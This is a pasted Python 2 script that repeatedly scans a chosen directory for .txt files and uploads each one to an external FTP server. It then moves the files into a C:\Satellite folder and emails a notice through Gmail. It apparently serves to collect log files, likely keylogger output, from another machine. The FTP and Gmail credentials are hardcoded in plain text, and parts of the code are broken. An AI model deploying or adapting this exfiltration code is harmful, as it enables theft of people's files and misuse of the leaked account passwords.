Advertisement
Guest User

Untitled

a guest
Jun 12th, 2017
524
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 5.76 KB | None | 0 0
  1. __author__="Diego & Oscar y un especial abrazo a Ariel de Argentina por la exelente ayuda en Python"
  2. __date__ ="$08/16/2010 09:53:59 PM$"
  3. from os import path, walk
  4. from ftplib import FTP
  5. import smtplib
  6. import mimetypes
  7. from email.MIMEText import MIMEText
  8. import socket
  9. import sys
  10. import time
  11. import datetime
  12. import shutil
  13. import os
  14. class Log_finder(object):
  15.     def __init__(self):
  16.         self.ftp_server="ftp.t35.com"#Cuenta FTP externa
  17.         self.ftp_user="lexel.t35.com"#Usuario de la cuenta FTP
  18.         self.ftp_pass="atletico"#password de la cuenta FTP
  19.         self.smtp_server="smtp.gmail.com"#cuenta SMTP (se recomienda dejarlo como esta)
  20.         self.smtp_user="logregistersender@gmail.com"#SMTP user
  21.         self.smtp_pass="colegiodelasalle"# SMTP password
  22.         self.directorio2move="C:\Satellite"# directorio a donde seran movido los log files
  23.         self.TUEMAIL = ""# El email a donde se enviaran la informacion
  24.         self.archivosLogs=[]
  25.         self.archivos=[]
  26.  
  27.     def sender(self):
  28.         log_ip = "log"
  29.         ftp = FTP(self.ftp_server)
  30.         ftp.login(user=self.ftp_user,passwd=self.ftp_pass)
  31.         arc = str(self.archivos)
  32.         arc = arc.replace("['", "")
  33.         arc = arc.replace("']", "")
  34.         for dic in self.archivosLogs:
  35.        
  36.             print ">>>>>>> %s" %(dic)
  37.             f = open (dic ,"rb")
  38.             ftp.cwd("/log")
  39.             ftp.storbinary('STOR '+arc,f)
  40.             self.mover()
  41.             self.correo()
  42.             self.archivosLogs.remove(dic)
  43.             self.archivos.remove(arc)
  44.  
  45.            
  46.            
  47.     def mover(self):
  48.         if "Satellite" in os.listdir("C:\\"):
  49.             for dirc in self.archivosLogs:
  50.                 try:
  51.                     shutil.move(dirc,self.directorio2move)
  52.                 except:
  53.                     print "There was an Error\nPlease check this:"
  54.                     print "\t[-]The directory %s" %(self.directorio2move)
  55.                     print "\t[-]check if the file already exist's"
  56.                     sys.exit(1)
  57.         elif "Satellite" not in os.listdir("C:\\"):
  58.             os.system("mkdir %s" %(self.directorio2move))
  59.             for dirc in self.archivosLogs:
  60.                 try:
  61.                     shutil.move(dirc,self.directorio2move)
  62.                 except:
  63.                     print "There was an Error\nPlease check this:"
  64.                     print "\t[-]The directory %s" %(self.directorio2move)
  65.                     print "\t[-]check if the file already exist's"
  66.                     sys.exit(1)
  67.         else:
  68.             print "[-] Could't create the directory!"
  69.     def info(self):
  70.         now = datetime.datetime.now()
  71.         now =str(now)
  72.         return "Your local Time is :%s " %(now)
  73.         for dic in self.archivosLogs:
  74.             return "We have found a Log file in: %s" %(dic)
  75.         return "The log file have been moved to %s" %s(self.dicerctorio2move)
  76.        
  77.     def correo(self):
  78.         if self.SMTPTF == True:
  79.             smtp = smtplib.SMTP('smtp.gmail.com',25)
  80.             smtp.ehlo()
  81.             smtp.starttls()
  82.             smtp.ehlo()
  83.             smtp.login(self.smtp_user,self.smtp_pass)
  84.             mensaje = MIMEText(self.info())
  85.             mensaje['From']=self.smtp_user
  86.             mensaje['To']=self.TUEMAIL
  87.             mensaje['Subject']="Se ha Encontrado un Log File"
  88.             smtp.sendmail(self.smtp_user,self.TUEMAIL,mensaje.as_string())
  89.  
  90.                
  91.     def conecter(self):
  92.         fserver = self.ftp_server
  93.         fuser=self.ftp_user
  94.         fpass=self.ftp_pass
  95.         sserver=self.smtp_server
  96.         suser=self.smtp_user
  97.         spass=self.smtp_pass
  98.         try:
  99.             ftp = FTP(fserver)
  100.             ftp.login(user=fuser,passwd=fpass)
  101.         except BaseException, e:
  102.  
  103.             print '\n [-] Error: %s ' %(e)
  104.         else:
  105.             print "[*]Sucessfuly conencted to: %s" %(fserver)
  106.         if "log" in ftp.nlst():
  107.             print "[+] Found a Log file on the FTP server"
  108.         if "log" not in ftp.nlst():
  109.             print "[+] Creating a Log directory on the FTP server"
  110.             ftp.mkd("/log")
  111.            
  112.  
  113.         try:
  114.             smtp = smtplib.SMTP(sserver,25)
  115.             smtp.ehlo()
  116.             smtp.starttls()
  117.             smtp.ehlo()
  118.             smtp.login(suser,spass)
  119.         except BaseException, e:
  120.             print '\n [-] Error: %s ' %(e)
  121.             self.SMTPTF = False
  122.         else:
  123.             print "[*]Sucessfuly conencted to: %s" %(sserver)
  124.             self.SMTPTF = True
  125.  
  126.  
  127.  
  128.     def buscador(self):
  129.        
  130.         try:
  131.             path_to_search = raw_input("Please enter the path to scan: ")
  132.             timetowait = input("Please enter the time to sleep in seconds: ")
  133.             print "The Program Just start Please wait"
  134.             print "Found:"
  135.         except KeyboardInterrupt, IOError:
  136.             print "[-] An Error occured \n Quiting!"
  137.             sys.exit(1)
  138.         while True:
  139.             now = datetime.datetime.now()
  140.             for root, dirs, files in walk(path_to_search):
  141.                 for archivo in files:
  142.                     (shortname, extension) = path.splitext(archivo)                  
  143.                     if extension=='.txt':
  144.                         formato = shortname+" | "+str(now)
  145.                         archivo2 = formato+extension
  146.                         self.root = root
  147.                         self.archivosLogs.append(path.join(root, archivo))
  148.                         self.archivos.append(archivo2)
  149.                         self.sender()
  150.                         time.sleep(timetowait)
  151.                     else:
  152.                         time.sleep(timetowait)
  153.  
  154.                        
  155. if __name__ == '__main__':
  156.     Log = Log_finder()
  157.     Log.conecter()
  158.     Log.buscador()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement